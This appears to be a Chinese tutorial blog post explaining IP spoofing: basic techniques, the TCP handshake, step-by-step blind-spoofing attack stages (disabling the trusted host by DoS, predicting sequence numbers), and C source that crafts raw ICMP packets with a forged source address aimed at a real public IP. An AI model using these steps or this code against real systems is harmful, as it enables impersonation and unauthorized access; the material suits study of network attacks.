TCP/IP网络中的每一个数据包都包含源主机和目的主机的IP地址,攻击者都可以使用其他主机的IP地址,并假装自己来自该主机,以获得自己未被授权访问的信息。这种类型的攻击称为IP欺骗。

1.最基本的IP欺骗技术有三种:

(1)基本地址变化

IP欺骗包括把一台计算机伪装成别人机器的IP地址的这种情况,所以IP欺骗最基本的方法就是搞清楚一个网络的配置,然后改变自己的IP地址。

(2)源路由攻击

源路由可使信息包的发送者将此数据包要经过的路径写在数据包里,这就使一个入侵者可以假冒一个主机的名义通过一个特殊的路径来获得某些被保护数据。

(3)利用Unix机器上的信任关系

在UNIX系统中,不同主机的账户间可以建立起一种特殊的信任关系,用于方便机器之间的沟通。如果攻击者获得了可信任网络里的任何一台的机器,他就能登录信任该IP的任何机器上。r命令允许使用者登录远程机器而不必提供口令。如:

rlogin:remote login,远程登录;
rsh:remote shell,远程shell;
rcp:remote copy, 远程拷贝。

但是,这种欺骗方法只能在Unix环境下使用,而且比较陈旧。

2.正常的TCP/IP会话的过程

IP欺骗更高级的应用是在tcp/ip会话中

由于TCP是面向连接的协议,所以在双方正式传输数据之前,需要用“三次握手”来建立一个稳重的连接。

第一次握手:建立连接时,客户端发送syn包(seq=j)到服务器,并进入SYN_SEND状态,等待服务器确认;

第二次握手:服务器收到syn包,它会发送一个SYN以及一个ACK(应答)给客户,ACK的序列号是 J+1表示是给SYN J的应答,新发送的SYN K 序列号是K,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

 

3.IP欺骗攻击步骤:

(1)首先使被信任主机的网络暂时瘫痪,以免对攻击造成干扰;由于攻击者将要代替真正的被信任主机,他必须确保真正的被信任主机不能收到任何有效的网络数据,否则将会被揭穿。可以使用Dos攻击。

(2)然后连接到目标机的某个端口来猜测ISN基值(初始序号)和增加规律;通过嗅探或者ARP欺骗,先发现目标机正在使用的序列号,再根据序列号机制,可以猜测出下一对SEQ/ACK序列号。

(3)接下来把源地址伪装成被信任主机,发送带有SYN标志的数据段请求连接;

(4)然后等待目标机发送SYN+ACK包给已经瘫痪的主机;但该主机无法收到这个包

(5)再次伪装成被信任主机向目标机发送ACK,此时发送的数据段为之前预测的目标机的SEQ+1;

(6)连接建立,发送命令请求。 

4.简单修改IP地址过程

构造套接字,填写地址数据结构,填充构造发送报文,调用sendto发送。

由于要自己构造IP头,自己计算校验和,所以第一个参数为PF_PACKET。对应的地址也要用sockaddr_ll结构。

int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) );

而不是使用

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_IP)

将该虚拟机发送的源IP变为主机IP,进行欺骗

虚拟机IP为(这里需要安装VMware虚拟机和kali系统,详情可参考这篇文章最新超详细虚拟机VMware安装注意不要下载2020版iso,会有安装bug)

将代码在虚拟机上编译并运行,具体步骤参考kali编译运行c程序

下图显示发送数据包成功

将目的IP地址选为115.239.21.112的IP地址。打开虚拟机上的wireshark进行抓包,运行程序发送echo请求报文,可以看出包已经发过去了。且源地址为主机IP

到这里就完成了简单的通过修改IP地址发送请求包,来欺骗目标主机

5.源代码

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <string.h>
#include <stdio.h>

int main()
{
	//套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) );
	if (sockfd == -1)
	{
		printf("error at socket().\n");
		return 0;
	}

	//地址
	struct sockaddr_ll addr_ll;
	memset(&addr_ll, 0, sizeof(addr_ll) );
	addr_ll.sll_family = PF_PACKET;

	int sock_set_ip;     
    	struct sockaddr_in sin_set_ip;  

	struct ifreq ifr;
	memset(&ifr,0,sizeof(ifr));
	strcpy(ifr.ifr_name, "eth0");
	if (ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1)
	{
		printf("error ioctl SIOCGIFINDEX\n"); return 0;
	}
	addr_ll.sll_ifindex = ifr.ifr_ifindex; //接口索引

	if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1)
	{
		printf("error ioctl SIOCGIFADDR\n"); return 0;
	}
	sin_set_ip.sin_family =PF_PACKET ;
	sin_set_ip.sin_addr.s_addr = inet_addr("192.168.1.102");
	memcpy( &ifr.ifr_addr, &sin_set_ip, sizeof(sin_set_ip)); 
	char* ipSrc = inet_ntoa(((struct sockaddr_in*)(&(ifr.ifr_addr)))->sin_addr);
	printf("ip address : %s\n", ipSrc); //source ip

	if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) == -1)
	{
		printf("error ioctl SIOCGIFHWADDR\n"); return 0;
	}
	unsigned char macDst[ETH_ALEN] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
	unsigned char macSrc[ETH_ALEN];
	memcpy(macSrc, ifr.ifr_hwaddr.sa_data, ETH_ALEN); //mac address
	printf("mac address");
	for (int i = 0; i < ETH_ALEN; i++)
		printf(":%02x", macSrc[i]);
	printf("\n");

	//填充以太网头部
	struct ethhdr ethheader;
	memcpy(ethheader.h_source, macSrc, ETH_ALEN);
	memcpy(ethheader.h_dest, macDst, ETH_ALEN);
	ethheader.h_proto = htons(ETHERTYPE_IP);

	//填充IP头部
	struct iphdr ipheader;
	ipheader.version = 0x4;
	ipheader.ihl = 0x5;
	ipheader.tos = 0x00;
	ipheader.tot_len = htons(60);  //20 + 8 + 32
	ipheader.id = 0x1000;
	ipheader.frag_off = 0x0000;
	ipheader.ttl = 128;
	ipheader.protocol = 0x01;
	ipheader.check = 0;
	ipheader.saddr = inet_addr(ipSrc);
	ipheader.daddr = inet_addr("115.239.211.112");

	unsigned int checkSum = 0;
	unsigned int num;
	unsigned char* p = (unsigned char*)&ipheader;
	int i;
	for (i = 0; i <= 18; i += 2)
	{
		num = (p[i] << 8) + p[i + 1];
		checkSum += num;
		checkSum = (checkSum & 0xffff) + (checkSum >> 16);
	}
	checkSum = (~checkSum) & 0xffff;
	ipheader.check = htons((unsigned short)checkSum);

	//填充ICMP头部
	struct icmphdr icmpheader;
	icmpheader.type = ICMP_ECHO;
	icmpheader.code = 0;
	icmpheader.checksum = 0;
	icmpheader.un.echo.id = 0x1000;
	icmpheader.un.echo.sequence = 0x0001;

	checkSum = 0;
	p = (unsigned char*)&icmpheader;
	for (i = 0; i <= 6; i += 2)
	{
		num = (p[i] << 8) + p[i + 1];
		checkSum += num;
		checkSum = (checkSum & 0xffff) + (checkSum >> 16);
	}

	//echo data
	unsigned char echo[32];
	for (i = 0; i < 32; i++)
		echo[i] = (unsigned char)(0x10 + i);

	for (i = 0; i <= 30; i += 2)
	{
		num = (echo[i] << 8) + echo[i + 1];
		checkSum += num;
		checkSum = (checkSum & 0xffff) + (checkSum >> 16);
	}

	checkSum = (~checkSum) & 0xffff;
	icmpheader.checksum = htons((unsigned short)checkSum);

	//发送
	unsigned char sendBuf[sizeof(ethheader) + 60];
	memcpy(sendBuf, &ethheader, sizeof(ethheader) );
	memcpy(sendBuf + sizeof(ethheader), &ipheader, sizeof(ipheader) );
	memcpy(sendBuf + sizeof(ethheader) + sizeof(ipheader), &icmpheader, 8);
	memcpy(sendBuf + sizeof(ethheader) + sizeof(ipheader) + 8, echo, 32);

	int len = sendto(sockfd, sendBuf, sizeof(sendBuf), 0, (struct sockaddr*)&addr_ll, sizeof(addr_ll));
	if (len > 0)
	{
		printf("send success.\n");
	}

	return 0;
}



 

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐